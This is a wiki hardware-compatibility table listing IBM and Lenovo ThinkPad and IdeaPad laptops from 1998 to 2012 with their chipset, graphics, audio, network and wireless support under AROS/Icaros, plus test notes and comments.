| &lt;!--Name--&gt;Thinkpad 600x || &lt;!--Chipset--&gt;Intel 440BX || &lt;!--IDE--&gt;{{Maybe| }} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA Neomagic NM2360 MagicMedia 256ZX}} || &lt;!--Audio--&gt;{{No|Crystal CS4297A codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{N/A| }} || &lt;!--Wireless--&gt;{{N/A| }} || &lt;!--Test Distro--&gt;Icaros 1.3.1 || &lt;!--Comments--&gt;1998 32bit a little support - earlier 600 and 600e were Pentium 2 based 
|-
| &lt;!--Name--&gt;Thinkpad X20 (2662-32U) X21 || &lt;!--Chipset--&gt;Intel 440 BX ZX DX || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt;{{no|AC97 with Cirrus Logic Crystal cs4281}} || &lt;!--USB--&gt;1.1 || &lt;!--Ethernet--&gt;no mini pci intel e100 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2002 32bit 
|-
| Thinkpad T20 (2647) T21 (26) T22 || 440BX || {{Maybe| }} || {{N/A}} || {{partial|Savage IX-MV (VESA only)}} || {{no|Cirrus Logic CS 4614/22/ 24/30}} || {{yes|USB 1.1}} || {{yes|Intel PRO 100}} || {{N/A}} || Icaros 1.2.4 || 2002 32bit 
|-
| &lt;!--Name--&gt;A21e (2628, 2655) A22e || &lt;!--Chipset--&gt;440MX || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Ati rage mobility || &lt;!--Audio--&gt;{{no|AC97 Cs4299 CS4229}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;intel e100 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2002 
|-
| Thinkpad T23 (2647) || i810 || {{yes|IDE}} || {{N/A}} || {{maybe|S3 Super Savage IX/C SDR (VESA only)}} || {{maybe|AC'97 CS4299}} || {{yes|USB 1.1}} || {{yes|Intel ICH3 PRO 100 VE}} || {{no|Realtek RTL8180L others with bios hacking risky}} || || 2003 32bit with some support 
|-
| &lt;!--Name--&gt;Thinkpad X22 X23 X24 || &lt;!--Chipset--&gt;830 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;ATi Mobility M6 LY || &lt;!--Audio--&gt;Ac97 CS4299 || &lt;!--USB--&gt;2 x 1.1 || &lt;!--Ethernet--&gt;Intel Pro 100 || &lt;!--Wireless--&gt;Actiontec Harris Semi Intersil Prism 2.5 (X23 and X24 only) || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit with slice Ultrabase X2 - 
|-
| &lt;!--Name--&gt;A30 A30p || &lt;!--Chipset--&gt;830 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Ati Radeon M6 || &lt;!--Audio--&gt;AC97 CS 4299 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel Pro 100 ve || &lt;!--Wireless--&gt;{{No|Intel 2200 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit 
|-
| &lt;!--Name--&gt;A31 A31p R31 R32 T30 || &lt;!--Chipset--&gt;830 || &lt;!--IDE--&gt;{{yes| }} || &lt;!--SATA--&gt;{{N/A| }} || &lt;!--Gfx--&gt;Ati Radeon 7500 or FireGL || &lt;!--Audio--&gt;{{yes|AC97 Intel with AD1881A codec}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{yes| Intel Pro 100 ve}} || &lt;!--Wireless--&gt;{{No|Intel bios locked}} || &lt;!--Test Distro--&gt;[https://forums.lenovo.com/t5/Android-Ecosystem-Developers/AROS-An-operation-system-inside-Android/td-p/1441741 Icaros 1.5.2] || &lt;!--Comments--&gt;2003 32bit Also tested with Icaros 2.0.3. 
|-
| Thinkpad X30 (2673) X31 (2884-xx2) X31t || i830 || {{yes}} || {{N/A}} || {{maybe|VESA only Radeon M6 Mobility}} || {{yes|AC97 - AD1981B codec}} ||  {{yes|USB 1.1}} || {{yes|Intel PRO 100}} || {{no|Cisco Aironet or Intel 2915 but atheros with bios hacking}} || Icaros 1.4 || 2004 32bit sound bit distorted 
|-
| &lt;!--Name--&gt;R50e R51 || &lt;!--Chipset--&gt;855M || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|Intel 855M use VESA}} || &lt;!--Audio--&gt;intel AC97 with AD1981B codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Yes|Intel 100 VE}} || &lt;!--Wireless--&gt;{{No|Intel PRO Wireless 2200BG bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit - 
|-
| IBM Thinkpad T40 (2373) T41 T41p (2379) T42 T42p T43 T43p || Intel 8xx || {{partial|PIO}} || {{N/A}} || {{partial|ATI mobility 7500 9000 (VESA only)}} || {{yes|AC97 playback}} || {{yes|uhci 1.1 and ehci 2.0}} || {{no|e1000}} || {{Maybe|Intel 2200bg bios locked but possible AR5BMB-44 AR5212 FRU 39T0081 mini PCI}} || Icaros 1.2.4 || 2004 32bit 16v IBM plug - Centrino Needs ATA=nodma option - issues with the inner chip of the SMT BGA graphics chip 
|-
| Thinkpad X32 || i855 || {{yes|40, 60 or 80GB 2.5&quot; PATA HDD}} || {{N/A}} || {{maybe|VESA only ATI Mobility Radeon 7000 with 16MB}} || {{maybe| Intel AC'97 Audio with a AD1981B codec}} ||  {{yes|USB}} || {{no|Intel 1000}} || {{no|Intel 2200 but atheros with bios hacking}} || 2016 Icaros 2.1 || 2004 32bit - 12.1&quot; TFT display with 1024x768 resolution; 256 or 512MB PC2700 memory standard (2GB max) 
|-
| &lt;!--Name--&gt;Thinkpad X40 X40t by Quanta || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{maybe|Intel 800 (VESA only)}} || &lt;!--Audio--&gt;{{yes|AC97 AD1981B}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{no|Intel e1000}} || &lt;!--Wireless--&gt;{{Maybe|Intel but most atheros with bios hacking - difficult though}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit last IBM design 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Thinkpad X41 (IBM) MT 1864 1865 2525 2526 2527 2528 x41t (Lenovo) MT 1866 1867 || &lt;!--Chipset--&gt;Intel with single core 1.5 1.6 and tablet 1.2GHz || &lt;!--IDE--&gt;{{yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|Intel 915GML 2D}} || &lt;!--Audio--&gt;{{yes|AC97 AD1981B}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5751M tg3}} || &lt;!--Wireless--&gt;{{Maybe|Intel or MiniPCI Wi-Fi Atheros AR5BMB FRU 39T0081 but ordinary atheros 54meg needs risky bios hacking}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit - amongst first Lenovo design - 3pin cmos - 
|-
| &lt;!--Name--&gt;R52 (most 18xx) || &lt;!--Chipset--&gt;Intel 915 || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|Intel 915GML 2D}} || &lt;!--Audio--&gt;{{yes|AC97 AD1981B}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{no|Broadcom}} || &lt;!--Wireless--&gt;{{no|Broadcom bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit 
|-
| &lt;!--Name--&gt;R52 1846, 1847, 1848, 1849, 1850, 1870 || &lt;!--Chipset--&gt;ATi 200m  || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{No|ATI}} || &lt;!--Audio--&gt;{{yes|AC97 AD1981B}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{no|Broadcom BCM5751M tg3}} || &lt;!--Wireless--&gt;{{no|Broadcom bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit 
|-
| &lt;!--Name--&gt;Thinkpad T60 T60P 
* 64bit - 6 or 8 is 16:10 on T60/p, eg. 8742-CTO 15.4&quot; 
* 32bit - 1 and 2 are 14&quot;, 15&quot; 4:3, like 2007-YM3 or 1952-CTO 
|| &lt;!--Chipset--&gt;*any* T60/p will take a Core 2 Duo CPU with newer BIOS || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;Intel GMA (2D) with &quot;p&quot; graphics card (ATi V5200 or V5250) || &lt;!--Audio--&gt;{{no|HD Audio}} || &lt;!--USB--&gt;{{yes}} || {{no|e1000e 82573L}} || &lt;!--Wireless--&gt;{{No|Intel ipw3945 ABG but atheros with Middleton's or Zender BIOS hacking risky}} || Icaros 1.4 || &lt;!--Comments--&gt;2006 -  
|-
| &lt;!--Name--&gt;X60 x60s x60t tablet || &lt;!--Chipset--&gt;945GMS 940GML || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{yes|Intel GMA (2D)}} || &lt;!--Audio--&gt;{{no|AD1981 HD Audio}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{no|Intel}} || &lt;!--Wireless--&gt;{{no|Intel 3945 ABG or fru 39T5578 Atheros 5K AR5BXB6 ar5007eg with bios hacking}} || &lt;!--Comments--&gt;Icaros 1.4 || 2006 32bit - perhaps needs a zendered bios update but risky 
|-
| &lt;!--Name--&gt;R60 R60e || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;intel 950 with optional radeon x1300 x1400 || &lt;!--Audio--&gt;HD Audio with 1981HD codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel or Broadcom || &lt;!--Wireless--&gt;{{Maybe|Intel 3945 or atheros fru 39T5578 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32bit
|-
| Thinkpad T61 T61p without Middleton's or Zender BIOS || Core 2 Duo CPU T7300 T8300 || {{N/A}} || &lt;!--SATA--&gt;{{yes| }} || Intel GMA (2D), NVS 140m or Quadro FX 570M () || {{maybe|HD Audio with Analog Devices AD1984 or AD1984A HD Audio Codec routed to the line output}} || &lt;!--USB--&gt;{{yes}} || {{no|intel e1000e 82573L}} || {{No|Intel but atheros with bios hacking risky}} || Icaros 1.6, AROS One  || 2007 64bit 
|-
| &lt;!--Name--&gt;X61 x61s X61T Tablet || &lt;!--Chipset--&gt;Core Duo T8100 on i965 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{yes|Intel GMA 3100 (2D) slow 3D}} || &lt;!--Audio--&gt;{{no|AD1984 HD Audio}} || &lt;!--USB--&gt;{{yes|USB 2.0}} || &lt;!--Ethernet--&gt;{{no|Intel 82566DM}} || &lt;!--Wireless--&gt;{{maybe|Atheros AR5212 (some revisions use Intel WLAN runs very hot) bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;2007 64bit ultrabook running very hot - ddr2 max 4gb - 3pin cmos - 
|-
| &lt;!--Name--&gt;R61 R61i || &lt;!--Chipset--&gt;Intel 965 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;intel 965 || &lt;!--Audio--&gt;HD Audio with conexant codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Broadcom BCM5787M || &lt;!--Wireless--&gt;{{No|Intel 3945 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 64bit 
|-
| Lenovo 3000 N200 || &lt;!--Chipset--&gt;Santa Rosa || {{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || {{yes|Geforce 7300 (2D)}} || {{yes|ALC262 HD Audio}} || &lt;!--USB--&gt;{{yes}} || {{no|Broadcom}} || {{no|Intel 3945 bios locked}} || Icaros 1.4 || 2007 64bit 3D graphics parts are supported but buggy.
|-
| Lenovo 3000 N200 / V200 || GM965 ICH9-M with Intel Mobile Core 2 Duo T5450 || {{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || {{yes|X3100 (2D)}} || {{Maybe|HD Audio ALC269VB or CX20549}} || {{yes| }} || {{no|BCM5906M}} || {{no|Intel 3965 / 4965AGN bios locked}} || Icaros 1.4.1 2.1 || 2007 64bits of laptop works 
|-
| &lt;!--Name--&gt;X300 || &lt;!--Chipset--&gt;Core 2 Duo Merom SL7100 1.2GHz  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1.8 inch || &lt;!--Gfx--&gt;{{maybe|Intel X3100}} || &lt;!--Audio--&gt;HD Audio AD1984A || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel || &lt;!--Wireless--&gt;{{No|Intel 4965 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2007 64bit 13.3&quot; TFT 1440x900 (WXGA+) with LED backlight 
|-
| &lt;!--Name--&gt;Thinkpad Edge 11″ AMD K325 || &lt;!--Chipset--&gt;M880G || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{maybe|VESA for ATI HD4200}} || &lt;!--Audio--&gt;{{maybe| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 8111}} || &lt;!--Wireless--&gt;{{no|8192CE (Realtek 8176) bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2007 little support
|-
| &lt;!--Name--&gt;Thinkpad X301 || &lt;!--Chipset--&gt;Core 2 Duo Penryn SU9400 Su9600 with GM45 chipset || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1.8 inch micro SATA (uSATA) || &lt;!--Gfx--&gt;{{maybe|Intel X4500}} || &lt;!--Audio--&gt;AD1984A || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel || &lt;!--Wireless--&gt;{{No|Intel 5xxx WiFi link 5100, 5150, 5300 and 5350 (WiMAX) bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 WXGA+ (1440×900) LED backlight display -  2774 or 4057 Alps and 2776 Synaptics touchpad - optical bay interface is Legacy IDE (PATA) - Addonics ADMS18SA, Lycom ST-170m 
|-
| &lt;!--Name--&gt;X100e || &lt;!--Chipset--&gt;AMD Athlon Neo Single-Core (MV-40) and dual cores || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|2.5in tray in ide mode in bios}} || &lt;!--Gfx--&gt;{{Maybe|Vesa ATI HD3200}} || &lt;!--Audio--&gt;{{yes|HD Audio with CX20582 codec playback}} || &lt;!--USB--&gt;{{Maybe| }} || &lt;!--Ethernet--&gt;{{Yes|Realtek 8111}} || &lt;!--Wireless--&gt;{{no|Realtek r8192se bios locked}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2009 64bit 11.6in 1366 x 768 - 20v 65W round barrel - enter f1 setup f11 diagnostics f12 boot list - runs very warm - 
|-
| &lt;!--Name--&gt;SL400 SL500 || Intel  || {{N/A}} || {{Yes|IDE mode}} || {{Maybe|Nvidia 9400M}} || {{Maybe|ALC269}} || {{yes|USB 2.0}} || {{Maybe|RTL8169}} || {{Maybe| bios locked}} ||  || 
|-
| &lt;!--Name--&gt;SL410 SL510 || 965  || {{N/A}} || {{maybe|IDE mode}} || {{maybe|Intel GMA X4500M (some 2D)}} || {{yes|HD Audio with ALC269 codec - speaker and ear phones}} || {{yes|USB 2.0}} || {{yes|RTL8169}} || {{Maybe| bios locked}} || [http://www.amiga.org/forums/showpost.php?p=645774&amp;postcount=28 Icaros 1.3] || 2009 64bit SL-410 
|-
| &lt;!--Name--&gt;T400 ODM Wistron || &lt;!--Chipset--&gt;i || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{Maybe|Intel 4500MHD works limited 2d no 3d - optional switchable Nvidia or ATi HD3470 untested}} || &lt;!--Audio--&gt;{{Yes|HD Audio with Codec CX20561 (T400)}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{no|Intel e1000e}} || &lt;!--Wireless--&gt;{{No|Intel Wifi Link 5100 (AGN) half height card with FRU 43Y6493 or 5300 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit 20v lenovo plug - non-free firmware required iwlwifi 
|-
| &lt;!--Name--&gt;T400s || &lt;!--Chipset--&gt;i || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{Maybe|VSEA for Intel 4500MHD works limited 2d no 3d}} || &lt;!--Audio--&gt;{{Maybe|HD Audio with CX20585}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{no|Intel e1000e}} || &lt;!--Wireless--&gt;{{No|Intel Wifi Link 5100 (AGN) half height card with FRU 43Y6493 or 5300 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit non-free firmware required iwlwifi 
|-
| &lt;!--Name--&gt;Lenovo T500 T510 || &lt;!--Chipset--&gt;i || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{maybe|VESA for switchable Intel / AMD  HD 3640}} || &lt;!--Audio--&gt;{{maybe|Intel HD Audio with a CX20561 (t500) and CX20585 (T510) codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{no|Intel }} || &lt;!--Wireless--&gt;{{no|Intel or Lenovo branded unit Atheros AR5007EG AR5BHB63 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit 
|-
| &lt;!--Name--&gt;X200 ODM Wistron [http://itgen.blogspot.co.uk/2008/12/installing-arch-linux-on-lenovo.html X200s] and x200t tablet model without [http://fsfe.soup.io/post/590865884/the-unconventionals-blog-English-Flashing-Libreboot-on Risky flash of the Libreboot BIOS] || &lt;!--Chipset--&gt;GM45 GS45 with slow Celeron, SU or faster SL Core 2 Duos CPUs || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{maybe||Intel GMA 4500 MHD 2D but slow software 3D tunnel 10 gearbox 8 tests}} || &lt;!--Audio--&gt;{{yes|Intel HD Audio with Conexant CX20561 codec playback}} || &lt;!--USB--&gt;{{{Yes|USB 2.0 USB SD card reads and writes}} || &lt;!--Ethernet--&gt;{{no|Intel 82567LM Gigabit}} || &lt;!--Wireless--&gt;{{no|Intel Pro 5100 5150 5300 5350 AGN due to whitelist prevention bios locked}} || &lt;!--Test Distro--&gt;Icaros 2.0.1 || &lt;!--Comments--&gt;2009 64bit 12.1&quot; CCFL (webcam version) or LED backlit (no webcam). no support for 54mm express cards or Authentec 2810 fingerprint reader - thinkpoint only no trackpad - 3pin cmos -  
|-
| &lt;!--Name--&gt;Lenovo T410 T410s T410si || &lt;!--Chipset--&gt;qm57 with i5 m || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{maybe|use vesa Intel 5700MHD (Ironlake) core processor igp with optional Nvidia Quadro NVS 3100M}} || &lt;!--Audio--&gt;{{yes|HD Audio Conexant CX20585 codec playback}} || &lt;!--USB--&gt;{{Yes|2.0}} || &lt;!--Ethernet--&gt;{{no|Intel 82577lm gigabit}} || &lt;!--Wireless--&gt;{{unk|Intel n 6200 or Atheros AR9280 AR5BHB92 half size minipcie bios locked}} || &lt;!--Test Distro--&gt;Icaros 2.2 xmas || &lt;!--Comments--&gt;2009 64bit battery life much lower with Nvidia graphics version - no support firewire ricoh r5c832 - ricoh sd card - series 5 3400  
|-
| &lt;!--Name--&gt;X201 X201s x201t || &lt;!--Chipset--&gt;QM57 Core i3 370m, i5 M520 2.4GHz or i7 620LM 2.0GHz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{Maybe|vesa 2d on Intel GMA HD}} || &lt;!--Audio--&gt;{{yes|Intel HD with [https://ae.amigalife.org/index.php?topic=94.0 Conexant 20585] codec}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no|Intel}} || &lt;!--Wireless--&gt;{{No|bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2010 X201 arrandale power consumption limits battery life to 3-4 hours for 48Whr though to 6 on 72Whr - 12.5&quot; WXGA - 3pin cmos - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Ideapad B470, B570, V370, V470, V570 || &lt;!--Chipset--&gt;Intel® Core™ i5 i5-2430M, i5-2450M, || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;Vesa 2d for Intel || &lt;!--Audio--&gt;HDaudio 0x8086, 0x1c20 with  codec || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no|whitelisted}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit - 14in or 15.6in 768p - 
|-
| &lt;!--Name--&gt;T420 type 4180 4236, t420s , T520 4239 L520 || &lt;!--Chipset--&gt;i5 2540, 2520 or i7 2860QM 2620 has sse4.1 avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS but not AHCI}} || &lt;!--Gfx--&gt;{{Maybe|Vesa 136 x 768 - Intel HD 3000 with optional NVS 4200M Nvidia optimus or Radeon HD 565v }} || &lt;!--Audio--&gt;{{Yes|HD Audio playback ear phones only with Conexant CX20672 codec - AHI 6.27}} || &lt;!--USB--&gt;{{Maybe| }} || &lt;!--Ethernet--&gt;{{No|Intel PRO 1000 82579LM}} || &lt;!--Wireless--&gt;{{No|Realtek 1x1, Intel Ultimate-N 6205 6250 2x2 6300 3x3 all bios locked}} || &lt;!--Test Distro--&gt;Icaros 2.2.2 add noacpi to grub boot options || &lt;!--Comments--&gt;2011 64bit - screen 1600x900 or 1366x768 - 2 ddr3l sodimm slots max 16gb - 
|-
| &lt;!--Name--&gt;Thinkpad W520 || &lt;!--Chipset--&gt; has sse4.1 avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{Maybe|VESA Intel HD 3000 with nvidia quadro 1000m 2000m optimus issues with Nvidia Intel hybrids}} || &lt;!--Audio--&gt;{{Maybe|Intel Hd with CX 20585 codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Intel 82579 Lm}} || &lt;!--Wireless--&gt;{{No|Intel 6000s}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit - 15.6&quot; TFT display with 1366x768 (HD), 1600x900 (HD+) or 1920x1080 (FHD) resolution with LED backlight 
|-
| &lt;!--Name--&gt;X220 x220t || &lt;!--Chipset--&gt;QM67 express, dual i5 2520M or i7 dual 2620M sse4.1 avx support || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS but not AHCI}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D 1024 x 768 for Intel HD Graphics 3000}} || &lt;!--Audio--&gt;{{Yes|Intel HD playback with Conexant 20672 codec ear phones and speaker - AHI 6.27 6.34}} || &lt;!--USB--&gt;{{Yes|USB 2.0}} || &lt;!--Ethernet--&gt;{{No|Intel 82579LM}} || &lt;!--Wireless--&gt;{{No|Intel Centrino Advanced-N 6205 Wi-Fi bios locked}} || &lt;!--Test Distro--&gt;Icaros 2.3, Aros One USB 1.6 || &lt;!--Comments--&gt;2011 64bit possible - uses slimmer 7 mm storage sata devices - NEC USB 3.0 on i7's - unwanted trackpad gestures when palms rests on it - 2 ddr3 sodimm slots - external battery - 
|-
| &lt;!--Name--&gt;Thinkpad X120e, x121e Quanta FL8A DAFL8AMB8D0 Rev D || &lt;!--Chipset--&gt;Hudson M1 with slow AMD E350 has no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA ATI 0x9802}} || &lt;!--Audio--&gt;{{Maybe|ATI SBx00 Azalia HD Audio}} || &lt;!--USB--&gt;USB 2.0 || &lt;!--Ethernet--&gt;RTL8169 RTL8111  || &lt;!--Wireless--&gt;{{no|Broadcom 0x0576 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit 11.6 inch screen - 1 inch think - chiclet keyboard 
|-
| &lt;!--Name--&gt;Ideapad S205 G575 G585, Edge 11 E325 || &lt;!--Chipset--&gt;Slow E-350 later E-450 with A75 or AMD Athlon II Neo has no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA HD6310}} || &lt;!--Audio--&gt;{{Yes| }} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|Atheros}} || &lt;!--Wireless--&gt;{{No|Broadcom}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - removeable and plug in battery - 2pin CR2032 CMOS battery - 
|-
| &lt;!--Name--&gt;Ideapad S206 || &lt;!--Chipset--&gt;AMD E300 1.3GHZ Dual has no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt;{{Maybe|Intel HD Audio with CX20672 codec}} || &lt;!--USB--&gt;{{Maybe|3.0}} || &lt;!--Ethernet--&gt;Broadcom 10/100 || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 11.6&quot; and integrated battery - Conexant® 
|-
| &lt;!--Name--&gt;Lenovo x130e or x131e edu || &lt;!--Chipset--&gt;Slow AMD E-300 or E-450 has no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA Radeon HD 6310 or 6320 }} || &lt;!--Audio--&gt;{{Maybe|HD Audio Realtek ALC269VC / ALC3202 codec}} || &lt;!--USB--&gt;{{Maybe|USB 30 and USB 20}} || &lt;!--Ethernet--&gt;{{maybe|Realtek RTL8111 RTL8168B}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8188CE or Broadcom BCM43228 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - rubber edged bumper for K12 education market - 2pin CR2032 CMOS battery - 
|-
| &lt;!--Name--&gt;Thinkpad Edge E135 E335 || &lt;!--Chipset--&gt;amd dual E-300, E2-1800 or E2-2000 slow atom like A68M FCH has no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|SATA 3.0Gb/s 2.5&quot; wide 7mm high}} || &lt;!--Gfx--&gt;{{Maybe|VESA radeon 6310 or 7340 vga or hdmi}} || &lt;!--Audio--&gt;{{Maybe|HDAudio with Realtek ALC3202 codec}} || &lt;!--USB--&gt;{{maybe|2 usb3, 1 powered usb2}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 8111f}} || &lt;!--Wireless--&gt;{{no|Realtek WLAN whitelist bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 11.6 inch to 13.3in 1366x768 - Acrylonitrile-Butadiene-Styrene (ABS) plastic case - external battery - 20v 65w lenovo barrel ac - 2 ddr3 sodimm 8Gb max - 
|-
